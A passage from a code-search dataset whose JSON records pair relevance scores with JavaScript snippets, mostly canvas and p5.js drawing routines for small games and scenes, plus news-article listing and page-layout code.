LR and FB normals as well as one point on it\r\n let bound_list = boundBox(faceNorms,1,5); //get the boundary information 1 and 5 are the y bounds\r\n this.shad_bound_box.push(bound_list); //push list into shad_bound_box\r\n\r\n \r\n\r\n\r\n // the yellow building\r\n pos = Mat4.identity().times(Mat4.translation([-8,1,4])).times(Mat4.scale([1,2,2])).times(Mat4.translation([1,1,1]));\r\n model_pos = Mat4.identity().times(pos).times(model_trans);\r\n this.shapes.residential.draw(graphics_state,model_pos,this.materials.building);\r\n this.shapes.residential.draw(graphics_state,model_pos,this.materials.shadow);\r\n faceNorms = getFaceNormals(pos);\r\n bound_list = boundBox(faceNorms,1,5);\r\n this.shad_bound_box.push(bound_list);\r\n\r\n // the gray building\r\n pos = Mat4.identity().times(Mat4.translation([8,1,2])).times(Mat4.scale([1,2,2])).times(Mat4.translation([1,1,1]));\r\n model_pos = Mat4.identity().times(pos).times(model_trans);\r\n this.shapes.residential.draw(graphics_state,model_pos,this.materials.building);\r\n this.shapes.residential.draw(graphics_state,model_pos,this.materials.shadow);\r\n faceNorms = getFaceNormals(pos);\r\n bound_list = boundBox(faceNorms,1,5);\r\n this.shad_bound_box.push(bound_list);\r\n\r\n // the skybox (can be seen if you tilt the camera)\r\n pos = Mat4.identity().times(Mat4.scale([100,100,100]))\r\n this.shapes.body.draw(graphics_state, pos, this.materials.suns.override( {color: Color.of(0.25, 0.9, 1, 1)} ));\r\n \r\n //Jacob - This is the sun \r\n const t = graphics_state.animation_time / 1000;\r\n let period = t*(2*Math.PI)/10; //calculate period for when to change color and when to change radius\r\n let x_period = Math.sin(period)/2; //figure out the period to create a circular path\r\n let y_period = (2+Math.sin(period*2))/2.5;\r\n pos = Mat4.identity().times(Mat4.translation([50*x_period,10*y_period+20,15]));\r\n this.shapes.sub4.draw(graphics_state, pos, this.materials.suns);\r\n\r\n let car_period = 5.5 * Math.sin( Math.PI * ( (t/2) % 2) /2 );\r\n\r\n // car 1\r\n //x length is 2\r\n //z length is 1\r\n \r\n let x_start_pos = 2-car_period;\r\n \r\n if(this.ud<=-1&&this.ud>=-2.6)\r\n {\r\n console.log(\"x_startpos: \"+x_start_pos);\r\n if(x_start_pos-0.6<=this.lr&&x_start_pos+1.6>= this.lr)\r\n {\r\n this.charHealth=0;\r\n }\r\n \r\n }\r\n \r\n pos = Mat4.identity().times(Mat4.translation([x_start_pos,1,12]))\r\n .times(Mat4.scale([0.7,0.4,0.5]))\r\n .times(Mat4.translation([1,1,1]))\r\n .times(Mat4.rotation(Math.PI/2,Vec.of(0,1,0))); //this first rotation rotates the car model doesn't affect\r\n //the transformation\r\n let car_pos = pos.times(Mat4.translation([0,-1,0])); //the car model is 1 unit higher, so lower it by 1\r\n this.shapes.car.draw(graphics_state, car_pos, this.materials.car);\r\n this.shapes.car.draw(graphics_state,pos,this.materials.shadow);\r\n pos = pos.times(Mat4.rotation(-Math.PI/2, Vec.of(0,1,0))); //reset the rotation so the faces are transformed correctly\r\n faceNorms = getFaceNormals(pos);\r\n bound_list = boundBox(faceNorms,1,1.8); //y bounds here are different cause cars are shorter\r\n this.shad_bound_box.push(bound_list);\r\n\r\n\r\n // car 2\r\n \r\n \r\n /*\r\n x_start_pos = -3.5 + car_period\r\n if(this.ud<=-19&&this.ud>=-20.6)\r\n {\r\n console.log(\"x_startpos: \"+x_start_pos);\r\n if(x_start_pos-0.6<=this.lr&&x_start_pos+1.6>= this.lr)\r\n {\r\n this.charHealth=0;\r\n }\r\n \r\n }\r\n pos = Mat4.identity().times(Mat4.translation([x_start_pos,1,-6]))\r\n .times(Mat4.scale([0.7,0.4,0.5]))\r\n .times(Mat4.translation([1,1,1]))\r\n .times(Mat4.rotation(Math.PI/2,Vec.of(0,1,0)));\r\n car_pos = pos.times(Mat4.translation([0,-1,0]));\r\n this.shapes.car.draw(graphics_state, car_pos, this.materials.car);\r\n this.shapes.car.draw(graphics_state,pos,this.materials.shadow);\r\n pos = pos.times(Mat4.rotation(-Math.PI/2, Vec.of(0,1,0)));\r\n faceNorms = getFaceNormals(pos);\r\n bound_list = boundBox(faceNorms,1,1.8);\r\n this.shad_bound_box.push(bound_list);\r\n */\r\n }", "title": "" }, { "docid": "6dcffb517b3a913578c59cfbed1476db", "score": "0.59003085", "text": "drawScene() {\n\t\t// ********DEBUG CODE********\n\t\tthis.map_ctx.clearRect(0, 0, this.map_ctx.canvas.width, this.map_ctx.canvas.height)\n\t\tthis.map_ctx.fillStyle = \"black\"\n\t\tthis.map_ctx.fillRect(500, 0, 30, 600)\n\n\t\t// ********DEBUG CODE********\n\n\t\tfor (var index in this.actor_list) {\n\t\t\tthis.drawActor(this.actor_list[index])\n\t\t}\n\t}", "title": "" }, { "docid": "d6c1aa3e95102869252d481e1a341749", "score": "0.58994466", "text": "_initDrawSnake(){\n this._currentSnakeState.body.map(entry => {\n entry.elem = this._drawRect(entry.row, entry.col, config.snakeColor);\n });\n }", "title": "" }, { "docid": "562487cf17d2a631201c766c9dc3e1b4", "score": "0.5897471", "text": "function draw () {\n background ( 'cyan' );\n\n for ( var i = 0; i < balloons.length; i++ ) {\n balloons[i].frame();\n }\n}", "title": "" }, { "docid": "317555153fdb9717aa71a1df16086ce1", "score": "0.5895703", "text": "function displayShape() {\n //remove any trace of tetromino from the entire grid\n displaySquares.forEach(square => {\n square.classList.remove('block')\n square.style.backgroundImage = 'none'\n })\n upNextTetrominoes[nextRandom].forEach( index => {\n displaySquares[displayIndex + index].classList.add('block')\n displaySquares[displayIndex + index].style.backgroundImage = colors[nextRandom]\n })\n }", "title": "" }, { "docid": "c12b5a4876f092f8c03a561e21ed54cd", "score": "0.5890084", "text": "function drawStars() {\n for ( let i = 0; i < canvases.length; i++){\n pixelSize = i + 1\n canvases[i].width = window.innerWidth\n canvases[i].height = window.innerHeight\n const c = canvases[i].getContext('2d')\n for ( let j = 0; j < 100; j++){\n c.fillStyle = 'ghostwhite'\n c.fillRect(Math.random() * window.innerWidth, Math.random() * window.innerHeight, pixelSize, pixelSize)\n }\n }\n}", "title": "" }, { "docid": "ab22b3ed9870ea4e57d19de944cecdff", "score": "0.58876806", "text": "function drawSkeleton() {\n // video.loop();\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // console.log(skeleton);\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "a80bde73043421ed63c83d1459e3d9c1", "score": "0.5882713", "text": "function draw() {\n\n//declare background and give parameters\n background('rgb(0, 0, 26)');\n\n//declare mouse is pressed so when the mouse is pressed the background will generate a random color\n if ( mouseIsPressed ) {\n background( random(255), random(255), random(255) );\n\n\n } else {\n background('rgb(0, 0, 26)');\n\n }\n\n\n// give parameters when the star is called\n for (let i = 0; i < stars.length; i++) {\n\n stars[i].starCheck(stars, i);\n stars[i].edgeCheck();\n stars[i].paths();\n stars[i].display();\n\n\n }\n}", "title": "" }, { "docid": "a892cdf3828c7ea51df954713f9a48af", "score": "0.58788437", "text": "function gameRender() {\n gameState.forEach(function(stateValue, stateIndex) {\n let element = square[stateIndex];\n setMarker(element, stateValue);\n })\n}", "title": "" }, { "docid": "faedf80c67678a817bc2b3a73f955681", "score": "0.58784276", "text": "function displayShape() {\r\n displaySquares.forEach(square => {\r\n square.classList.remove('tetromino')\r\n square.style.backgroundColor = ''\r\n })\r\n\r\n upNextTetrominoes[nextRandom].forEach( index => {\r\n displaySquares[displayIndex + index].classList.add('tetromino')\r\n displaySquares[displayIndex + index].style.backgroundColor = colors[nextRandom]\r\n })\r\n }", "title": "" }, { "docid": "fab0bba4021a5d1e210b9cd383022186", "score": "0.5871968", "text": "function draw() {\n background(0);\n stroke(255);\n fill(100);\n s.display();\n}", "title": "" }, { "docid": "c77d1a23ca3bc93d7df48a123368181a", "score": "0.5871591", "text": "show() {\n //game.scale.refresh();\n this.graphics = game.add.graphics();\n this.graphics.lineStyle(3, 0xff0000, 1);\n //\n //\n for (var i = 0; i < this.par.width; i += this.cw) {\n this.graphics.moveTo(i, 0);\n this.graphics.lineTo(i, this.par.height);\n }\n for (var i = 0; i < this.par.height; i += this.ch) {\n this.graphics.moveTo(0, i);\n this.graphics.lineTo(this.par.width, i);\n }\n //this.graphics.moveTo(0, 0);\n //this.graphics.lineTo(this.par.width, this.par.height);\n \n //console.log(this.par.width,this.par.height)\n }", "title": "" }, { "docid": "93c0738556d4298209a0c2803fc5d7e6", "score": "0.58662295", "text": "function displayShape() {\n displaySquares.forEach(square => {\n square.classList.remove('tetromino')\n square.style.backgroundColor = ''\n })\n\n upNextTetrominoes[nextRandom].forEach(index => {\n displaySquares[displayIndex + index].classList.add('tetromino')\n displaySquares[displayIndex + index].style.backgroundColor = colors[nextRandom]\n })\n }", "title": "" }, { "docid": "13b8f3e1a4b346085d027101f703a473", "score": "0.5863559", "text": "static DrawSphere() {}", "title": "" }, { "docid": "38a3246c00af1722307961fb8399c8af", "score": "0.5856829", "text": "draw()\n {\n background(255);\n this.text.draw();\n\n for (let currentBall in this.backgroundBalls) {\n this.backgroundBalls[currentBall].draw();\n this.backgroundBalls[currentBall].update();\n }\n if (this.clickedMouse) {\n let switched = false;\n\n for (let currentBall in this.backgroundBalls) {\n if (switched) {\n continue;\n }\n\n if ( ! this.backgroundBalls[currentBall].isVisible()) {\n switched = true;\n stateSwitcher.switchTo(2);\n $('.controls').show();\n $('.name-input').hide();\n }\n this.backgroundBalls[currentBall].apply(new p5.Vector(0, 1));\n this.backgroundBalls[currentBall].fadeOut(\"slow\");\n }\n }\n }", "title": "" }, { "docid": "6f74ba54b4e2bcfbba37dc39fef3723f", "score": "0.5854449", "text": "function draw() {\n squares[currentHead].classList.add(\"snek-head\");\n }", "title": "" }, { "docid": "ca14d527102060f5a0e651631ba04ab4", "score": "0.5850945", "text": "function draw() {\n \tbackground(0);\n \tfor (var i = 0; i < ways.length; i++) {\n ways[i].show();\n }\n for (var i = 0; i < nodes.length; i++) {\n \tnodes[i].show();\n }\n \texamplep.update();\n}", "title": "" }, { "docid": "e19eb5c67f33a163c32b9ad51ca9eabe", "score": "0.58491457", "text": "function drawCurtain(h) {\n randomSeed(99);\n noStroke();\n //var h = 500;\n fill(117, 20, 20);\n rect(0, 0, 1280, h - 10);\n for (var i = 0; i < 26; i++) {\n var w = random(40, 45);\n fill(150, 37, 37);\n rect(i * 50 + 10, 0, w, h, 0, 0, 20, 20);\n }\n}", "title": "" }, { "docid": "38d7a302cfd754dbd803c9c5f6732ac1", "score": "0.5848889", "text": "function draw() {}", "title": "" }, { "docid": "38d7a302cfd754dbd803c9c5f6732ac1", "score": "0.5848889", "text": "function draw() {}", "title": "" }, { "docid": "38d7a302cfd754dbd803c9c5f6732ac1", "score": "0.5848889", "text": "function draw() {}", "title": "" }, { "docid": "38d7a302cfd754dbd803c9c5f6732ac1", "score": "0.5848889", "text": "function draw() {}", "title": "" }, { "docid": "38d7a302cfd754dbd803c9c5f6732ac1", "score": "0.5848889", "text": "function draw() {}", "title": "" }, { "docid": "594580e881dd4894bb08c96fdb86b497", "score": "0.5848853", "text": "function displayShape() {\r\n // remove preview\r\n displaySquares.forEach(square => {\r\n square.classList.remove('tetromino')\r\n square.style.backgroundColor = ''\r\n })\r\n\r\n upNext[nextRandom].forEach(index => {\r\n displaySquares[displayIndex + index].classList.add('tetromino')\r\n displaySquares[displayIndex + index].style.backgroundColor = tetrisColors[nextRandom]\r\n })\r\n }", "title": "" }, { "docid": "5c219a6ca2e05658ccf2e40d98d14647", "score": "0.5847996", "text": "function sky(){\n push();\n while (starLocs.length<300){\n starLocs.push(new createVector(random(width), random(height)));\n }\n fill(255);\n for (var i=0; i<starLocs.length; i++){\n rect(starLocs[i].x, starLocs[i].y,2,2);\n }\n\n if (random(1)<0.3) starLocs.splice(int(random(starLocs.length)),1);\n pop();\n}", "title": "" }, { "docid": "39b50728c3f165aad4dc5ee212ad6c5e", "score": "0.58450276", "text": "function displayShape() {\r\n displaySquares.forEach(square => {\r\n square.classList.remove('tetromino')\r\n square.style.backgroundColor = ''\r\n })\r\n upNextTetrominoes[nextRandom].forEach(index => {\r\n displaySquares[displayIndex + index].classList.add('tetromino')\r\n displaySquares[displayIndex + index].style.backgroundColor = colors[nextRandom]\r\n })\r\n }", "title": "" }, { "docid": "0ca604b169967a2d5fdeae920499e25a", "score": "0.58430576", "text": "draw(ws) {\n this.clearWorld();\n this.drawCelestialObject(ws.sun);\n this.drawRocket(ws.rocket);\n if (ws.drawGrid) this.drawGrid(0, this.width, 0, this.height, 3);\n }", "title": "" }, { "docid": "3c56c4cfa9cd8992a6477fbf7d65d5bc", "score": "0.5840668", "text": "show() {\n let current = tiles[this.spot];\n // Just get out of here if it's not a valid tile\n if (!current) return;\n fill(255);\n stroke(0);\n let center = current.getCenter();\n ellipse(center[0], center[1], 16);\n }", "title": "" }, { "docid": "38fe133f485aba04d0148482a9fa6c87", "score": "0.5840035", "text": "show(){\n fill(this.colour);\n square(this.xPos, this.yPos, 50);\n }", "title": "" }, { "docid": "4b7bb8ba13f173f0c3164c5443e8717c", "score": "0.5835313", "text": "function drawSphere() {\n setMV() ;\n Sphere.draw() ;\n}", "title": "" }, { "docid": "70b093e39930e2d1f6b718f5a0a2a679", "score": "0.58252186", "text": "function draw() {\n // Ensure everything is loaded first\n if (!player || !analyser) return;\n\n const dim = Math.min(width, height);\n\n // Clear with color on setup\n background(240);\n\n // Update the analyser, only need to do this once per draw()\n analyser.update(deltaTime);\n\n if (showing) {\n randomSeed(seed);\n noiseSeed(seed);\n\n drawShapes(palette);\n }\n\n // Draw a 'play' or 'stop' button\n if (player && player.loaded && !showing) {\n noStroke();\n background(\"#83c9c7\");\n cursor(CROSS);\n //polygon(width / 2, height / 2, dim * 0.1, 3);\n }\n}", "title": "" }, { "docid": "489eb254b145d0bce700f3bef89f31f3", "score": "0.58204633", "text": "function draw () {\n current.forEach (index => {\n squares[currentPosition + index]\n .classList\n .add('tetromino')\n squares[currentPosition + index].style.backgroundColor = colors[random];\n })\n }", "title": "" }, { "docid": "41b590892c537926c39a6dfd63c7abed", "score": "0.5820354", "text": "static DrawGUITexture() {}", "title": "" }, { "docid": "89f8c10a3cf1ac4ddc20a9126c6d22ea", "score": "0.5818799", "text": "debug() {\n let graphics = this.add.graphics();\n graphics.lineStyle(1, 0x00FF00, 0.5);\n for (let i = 0; i <= HEIGHT; i++) {\n graphics.lineBetween(0, i * LENGTH, WIDTH * LENGTH, i * LENGTH);\n }\n for (let i = 0; i <= WIDTH; i++) {\n graphics.lineBetween(i * LENGTH, 0, i * LENGTH, HEIGHT * LENGTH);\n }\n }", "title": "" }, { "docid": "8d5f67291c25801cd2438fd454a7f156", "score": "0.58180416", "text": "draw() {\n this.background.draw();\n plane.draw();\n }", "title": "" }, { "docid": "8a201b2181d655cf2a763918ca77953a", "score": "0.58149654", "text": "function draw(){\n background(51);\n objArr.forEach(element => {\n element.render()\n });\n}", "title": "" }, { "docid": "a421cbaa54453e490067e5667bbd58b8", "score": "0.58088744", "text": "drawHUD()\n {\n this.windowTop.draw();\n this.windowChoicesSlots.draw();\n this.windowInformations.draw();\n this.windowBot.draw();\n }", "title": "" }, { "docid": "eb29453ae19d678dc00078bf79f047b9", "score": "0.5807246", "text": "display(){\n//declare push and pop function to isolate this section\n push();\n//give color to star stroke\n stroke(255, 10);\n//give fill the parameter we set above\n fill(this.color);\n//set the position of the star\n translate(this.spotX, this.spotY);\n ellipse(3, 3, this.size);\n pop();\n\n }", "title": "" }, { "docid": "f314a78c8b6060001ccb6fd6161a88cc", "score": "0.58053905", "text": "function draw(){\n //background(0); //blackground\n if(mapimg){\n image(mapimg, 0, 0);\n }\n segments.forEach(element => {\n element.show();\n });\n\n //draw mouse on screen and print its location to console\n let x2 = map(mouseX, 0, canvasW, 0, canvasW);\n let y2 = map(mouseY, 0, canvasH, 0, canvasH);\n ellipse(x2, y2, 5, 5);\n textSize(32);\n text(\"x:\" + String(Math.round(mouseX)) + \" y:\" + String(Math.round(mouseY)), 10, 30);\n}", "title": "" }, { "docid": "b47f813fa18f94085fb9688c9fc47ff1", "score": "0.58031714", "text": "function drawSnake(){\n hungrySnake.forEach(drawSnakePart)\n }", "title": "" }, { "docid": "abe8cd20f63a62410b9c96727a101d6a", "score": "0.5800446", "text": "display() { // method \n fill(255); // color white\n rect(this.x, this.y, this.width, this.height); // to make the paddle format\n }", "title": "" }, { "docid": "1f77e8d97a479ec93ad9ffe81240f23d", "score": "0.57986194", "text": "function drawStuff() {\n //background grid\n drawGrid(); \n \n //snake body (tail)\n tail.forEach(snakePart => rectangle('#555', snakePart.x, snakePart.y, tileSize, tileSize));\n\n //snake\n rectangle(\"black\", snakePosX, snakePosY, tileSize, tileSize); \n\n //food\n rectangle(\"green\", foodPosX, foodPosY, tileSize, tileSize);\n }", "title": "" }, { "docid": "6d4da06cd51403efd7c3dfaf6efff1a4", "score": "0.57972944", "text": "function draw() {\n current.forEach(index => {\n squares[currentPosition + index].classList.add('tetromino');\n squares[currentPosition + index].style.backgroundColor = colors[random];\n })\n }", "title": "" }, { "docid": "e6f30063c793bbcf4117aacd5fde7d75", "score": "0.57948214", "text": "draw() {\n const drawer = this[__WEBPACK_IMPORTED_MODULE_7__const__[\"b\" /* DRAWER */]] || (this[__WEBPACK_IMPORTED_MODULE_7__const__[\"b\" /* DRAWER */]] = new __WEBPACK_IMPORTED_MODULE_0__draw__[\"a\" /* default */](this[__WEBPACK_IMPORTED_MODULE_7__const__[\"a\" /* CONTAINER */]]));\n // draw under layers first\n // IDEA: add some optimization options here for purely static layers\n // we shouldn't need to re-draw every item individually if they\n // haven't changed at all\n drawer.removeCanvases(this[__WEBPACK_IMPORTED_MODULE_7__const__[\"k\" /* ROOMS */]].length * 2);\n for (let i = this[__WEBPACK_IMPORTED_MODULE_7__const__[\"k\" /* ROOMS */]].length - 1; i >= 0; --i) {\n drawer.view(this[__WEBPACK_IMPORTED_MODULE_7__const__[\"r\" /* VIEWS */]][i]);\n for (let obj of this[__WEBPACK_IMPORTED_MODULE_7__const__[\"f\" /* OBJECTS */]][i]) {\n obj instanceof __WEBPACK_IMPORTED_MODULE_3__drawable__[\"b\" /* default */] && obj.draw(drawer.object(obj));\n }\n this[__WEBPACK_IMPORTED_MODULE_7__const__[\"k\" /* ROOMS */]][i] && this[__WEBPACK_IMPORTED_MODULE_7__const__[\"k\" /* ROOMS */]][i].draw(drawer);\n drawer.render(i);\n // draw GUI\n drawer.view(new __WEBPACK_IMPORTED_MODULE_1__struct__[\"d\" /* Rectangle */](0, 0, ...this.size));\n for (let obj of this[__WEBPACK_IMPORTED_MODULE_7__const__[\"f\" /* OBJECTS */]][i]) {\n obj instanceof __WEBPACK_IMPORTED_MODULE_3__drawable__[\"b\" /* default */] && obj.drawGUI(drawer.object(obj));\n }\n this[__WEBPACK_IMPORTED_MODULE_7__const__[\"k\" /* ROOMS */]][i] && this[__WEBPACK_IMPORTED_MODULE_7__const__[\"k\" /* ROOMS */]][i].drawGUI(drawer);\n drawer.render(this[__WEBPACK_IMPORTED_MODULE_7__const__[\"k\" /* ROOMS */]].length + i);\n }\n }", "title": "" }, { "docid": "b53f909185bdba021d28e5ddbdead5cc", "score": "0.57896566", "text": "function draw() {\n current.forEach(index => {\n squares[currentPosition + index].classList.add('tetromino');\n squares[currentPosition + index].style.backgroundColor = colors[random];\n });\n }", "title": "" }, { "docid": "42dfc3e98e3a4fb3cfe3fe81b0b33052", "score": "0.57892996", "text": "function drawSnake() {\n // Draw each part\n snake.forEach(drawSnakePart)\n }", "title": "" } ]
43cd26ba55d4e1ff9dea91048b3e92e6
promo article page list view
[ { "docid": "a0825690da9a606059163787025b200d", "score": "0.5638414", "text": "function listView() {\n $.each(promoArticle, function (key, val) {\n $(\".listViewArticle\").append(\n \"<div class='row'><div class='span2'><img src='AdminLogin/images/\" +\n val.imageArt +\n \"' alt='\" +\n val.designation +\n \"' />\" +\n \"</div><div class='span4'><h3 class='languageAvailable'>New | Available</h3><hr class='soft' /><h5>\" +\n val.designation +\n \" </h5>\" +\n \"<p>\" +\n val.descriptions +\n \"</p><a class='btn btn-small pull-right' href='product_details.php?id=\" +\n val.reference +\n \"'><span class='languageView'>View Details</span></a>\" +\n \"<br class='clr'/></div><div class='span3 alignR'><form class='form-horizontal qtyFrm'><h3><span> \" +\n val.prix1 +\n \" </span> Dh</h3>\" +\n \"<br /><a class='btn btn-large btn-warning' onclick='addTocart(this,\" +\n val.prix1 +\n \")' id='\" +\n val.reference +\n \"' > <span class='languageAddTo'> Add to </span> <i class=' icon-shopping-cart'></i></a>\" +\n \"<a href='product_details.php?id=\" +\n val.reference +\n \"' class='btn btn-large'><i class='icon-zoom-in'></i></a> </form> </div></div><hr class='soft' />\"\n );\n changeLanguage();\n });\n}", "title": "" } ]
[ { "docid": "2665d8047c3942bdfde9f8f49ca3b41f", "score": "0.660656", "text": "function viewArticle() {\n\t\t//set the content of the elements using the list items' attributes\n\t\t$(\"article h1\").html($(this).attr(\"title\"));\n\t\t$(\"article img\").attr(\"src\", $(this).attr(\"backgr\"));\n\t\t$(\"article h4\").html($(this).attr(\"author\") + \" - \" + $(this).attr(\"date\"));\n\t\t$(\"article .content\").html($(this).attr(\"description\"));\n\t}", "title": "" }, { "docid": "16cfe34f2dd43ea208005562b8694c1e", "score": "0.63733375", "text": "function DisplayList(items, articlesshown_per_page, page) {\n newsList.innerHTML = \"\";\n page -= 1;\n\n let start = articlesshown_per_page * page;\n let end = start + articlesshown_per_page;\n let paginatedItems = items.slice(start, end);\n\n for (let i = 0; i < paginatedItems.length; i += 1) {\n let image = paginatedItems[i].urlToImage;\n let articleTitle =\n paginatedItems[i].title.length < 100\n ? paginatedItems[i].title\n : `${paginatedItems[i].title.slice(0, 90)}...`;\n let articleSource = paginatedItems[i].source.name;\n\n newsList.innerHTML += `<div class=\"result\">\n <img class=\"article-image modal-content modal-onClick\" src=${image} alt=\"news image\" placeholder=\"../style/BN.png\">\n <br>\n <p class=\"article-title\">${articleTitle}</p>\n <br>\n <p class=\"article-title\">${articleSource}</p>\n </div>`;\n }\n\n const modalBtn = document.querySelectorAll(\".modal-onClick\");\n\n modalBtn.forEach((artImg) => {\n artImg.addEventListener(\"click\", () => {\n openModal(artImg.src);\n });\n });\n }", "title": "" }, { "docid": "eb692ff70ef91494dafe751888a223ea", "score": "0.63590455", "text": "function displayDataOnPage(topNews, counter){\n // console.log(topNews);\n topNews.articles.forEach(content => {\n const spanNode = document.createElement(\"li\"); // make fresh <li>\n spanNode.innerHTML = // news contents\n `<a href=\"${content.url}\">\n <img src=\"${content.urlToImage}\" alt=\"news image\">\n <h3>${content.source.name}</h3>\n <h2>${content.title}</h2>\n <p>${content.description}</p></a>`;\n parentNode.appendChild(spanNode); // pushing to the <ul>\n });\n }", "title": "" }, { "docid": "7bc641be2dab1c51e99ada10704b8bea", "score": "0.6331282", "text": "function course_articles_page() {\n try {\n var content = {};\n content.welcome = {\n \tmarkup: '<p style=\"text-align: center;\">' +\n \tt('Select a course for more information') +\n \t'</p>'\n \t\t\t};\n content['course_list'] = {\n theme: 'view',\n format: 'unformatted_list',\n path: 'json-out/course', /* the path to the view in Drupal */\n row_callback: 'course_articles_list_row',\n empty_callback: 'course_articles_list_empty',\n attributes: {\n id: 'course_list_view'\n }\n };\n return content;\n }\n catch (error) { console.log('course_articles_page - ' + error); }\n}", "title": "" }, { "docid": "5ed31f3f22d8d029c559d5d33a3c4b9c", "score": "0.6215346", "text": "function show_post_by_page(page, data){\n $.each(data, function(index, item){\n if (index >= page*4-4 && index < page*4){\n var href = item['link'];\n var title = item['title'];\n var content = item['content'];\n var describe = content.replace(/(<([^>]+)>)/ig,\"\").slice(0,121) + '...';\n var tags = item['categories'];\n //console.log(tags);\n $(\"#news\").append(construct_html(href, title, describe, tags))\n }\n })\n }", "title": "" }, { "docid": "b86f2dc4835f0d265e5c3dfdf6382d6c", "score": "0.6080894", "text": "function listArticles(page) {\n var tag = $(\"#current_tag_input\").val();\n $.ajax({\n url: \"a/user/article/query.action\",\n dataType: \"json\",\n data: {page: page, tag: tag},\n type: \"post\",\n success: function (data) {\n var box = $(\"#article_list\").empty();\n buildSelfArticle(box, data);\n }\n });\n }", "title": "" }, { "docid": "11a35efe6aeda66e7e2028c50761765a", "score": "0.60742825", "text": "function onPageBeforeShow(e){\n\t\t\t\t\t\t\t\t\n\t\t\t\t//adding content from lstest data selection\n\t\t\t\tpopulateListContent(App.data.selection);\n\t\t\t\t\n\t\t\t}", "title": "" }, { "docid": "f73fea5fa71f3a813cca774e14638766", "score": "0.6057118", "text": "function ArticlesDetails() {\n}", "title": "" }, { "docid": "472a34d4548dbf90bc700280fbbec5d8", "score": "0.59983295", "text": "function showNextArticles() {\n showLatestArticles();\n}", "title": "" }, { "docid": "076da561d9c4cf8eea3908ffad6e4250", "score": "0.59850615", "text": "function showAllExercisesPage(){\n showExercisesPage(exercises, '/exercises');\n}", "title": "" }, { "docid": "43bd6cb8ea582acc1665c28b3cd5c986", "score": "0.59691143", "text": "function setPages(){\n\t\t\t// Foreach all articles\n\t\t\t$.each(articles, function(key, value){\n\t\t\t\tvar totalCounted\t\t=\t0;\n\t\t\t\tvar elements\t\t\t=\tvalue[\"article\"];\n\t\t\t\tvar marge\t\t\t\t=\t0;\n\t\t\t\tarticleTitles[key]\t\t=\tvalue[\"title\"];\n\t\t\t\t\n\t\t\t\t// Current values\n\t\t\t\tvar current\t\t\t\t=\t[];\n\t\t\t\tcurrent[\"column\"] \t=\t1;\n\t\t\t\tcurrent[\"page\"]\t\t=\t0;\n\t\t\t\tcurrent[\"element\"]\t=\t-1;\n\t\t\t\t\n\t\t\t\t// Height of page\n\t\t\t\tvar HM\t=\t(getDocHeight()-120)%lineHeight;\n\t\t\t\tvar heightOfPage\t=\t(HM < lineHeight/2)\n\t\t\t\t\t?(getDocHeight()-120)-HM\n\t\t\t\t\t:(getDocHeight()-120)+(lineHeight-HM);\t\n\n\t\t\t\tvar done = false;\n\t\t\t\tvar marginTop = 0;\n\t\t\t\tvar lastItemHeight;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t// If determined number of columns does not fit onto the page it will recalculate the number of columns\n\t\t\t\tif(value[\"data-cols\"]*(widthOfColumn+space+10) > getDocWidth())\n\t\t\t\t{\n\t\t\t\t\tvar cols\t=\tMath.floor(getDocWidth()/(widthOfColumn+space+10));\n\t\t\t\t\tif(cols == 1){\n\t\t\t\t\t\t$(\".sideMenu\").hide();\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tvar cols\t=\tvalue[\"data-cols\"];\n\t\t\t\t}\n\n\t\t\t\t\n\t\t\t\tdo{\n\t\t\t\t\t// This makes the first page of an article\n\t\t\t\t\tif(current[\"page\"] == 0){\n\t\t\t\t\t\tcurrent[\"page\"]++;\n\t\t\t\t\t\t$(\".viewer\", thisElement).append('<div class=\"page page-'+current[\"page\"]+' theme-'+value[\"data-theme\"]+' first\" id=\"article_'+key+'\" data-pageNumber=\"'+current[\"page\"]+'\" data-articleNumber=\"'+key+'\" style=\"width: '+(widthOfColumn+space)+'px; height: '+heightOfPage+'px\"><div class=\"column column_'+current[\"column\"]+'\" style=\"height: '+heightOfPage+'px\"></div></div>');\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// If needed it makes a new page\t\t\t\t\t\n\t\t\t\t\tif(marge == 0){\n\t\t\t\t\t\tcurrent[\"element\"]++;\n\t\t\t\t\t}else{\n\t\t\t\t\t\tmarginTop = lastItemHeight-marge;\n\t\t\t\t\t\tmarge = 0;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t// Removes headers if its shown half on a page (#1)\n\t\t\t\t\tvar remove = false;\n\t\t\t\t\tif((heightOfPage-totalCounted) < (5*lineHeight) && heightOfPage-totalCounted > 0 && heightOfPage > 7*lineHeight){\n\t\t\t\t\t\tif(typeof(elements[current[\"element\"]]) != 'undefined'){\n\t\t\t\t\t\t\tif(elements[current[\"element\"]][\"node\"] == \"H2\"){\n\t\t\t\t\t\t\t\ttotalCounted += heightOfPage-totalCounted;\n\t\t\t\t\t\t\t\tremove = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\t\t\n\t\t\t\t\t// Check if all elements are done\n\t\t\t\t\tif(typeof(elements[current[\"element\"]]) == 'undefined'){\n\t\t\t\t\t\tdone = true;\n\t\t\t\t\t\t$(\".page\").hide();\n\t\t\t\t\t\t$(\".first#article_0\").show();\n\t\t\t\t\t\t$(\".page-\"+current[\"page\"]+\"#article_\"+key).addClass(\"last\");\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif(elements[current[\"element\"]][\"node\"] != \"FIGURE\"){\n\t\t\t\t\t\t// Place the content into the current pages/columns\n\t\t\t\t\t\tvar iden = key+\"_\"+current[\"page\"]+\"_\"+current[\"column\"];\n\t\t\t\t\t\t$(\".page-\"+current[\"page\"]+\"#article_\"+key+\" .column_\"+current[\"column\"]).append('<'+elements[current[\"element\"]][\"node\"]+' id=\"'+iden+'\">'+elements[current[\"element\"]][\"value\"]+'</'+elements[current[\"element\"]][\"node\"]+'>');\n\t\t\t\t\t\ttotalCounted += 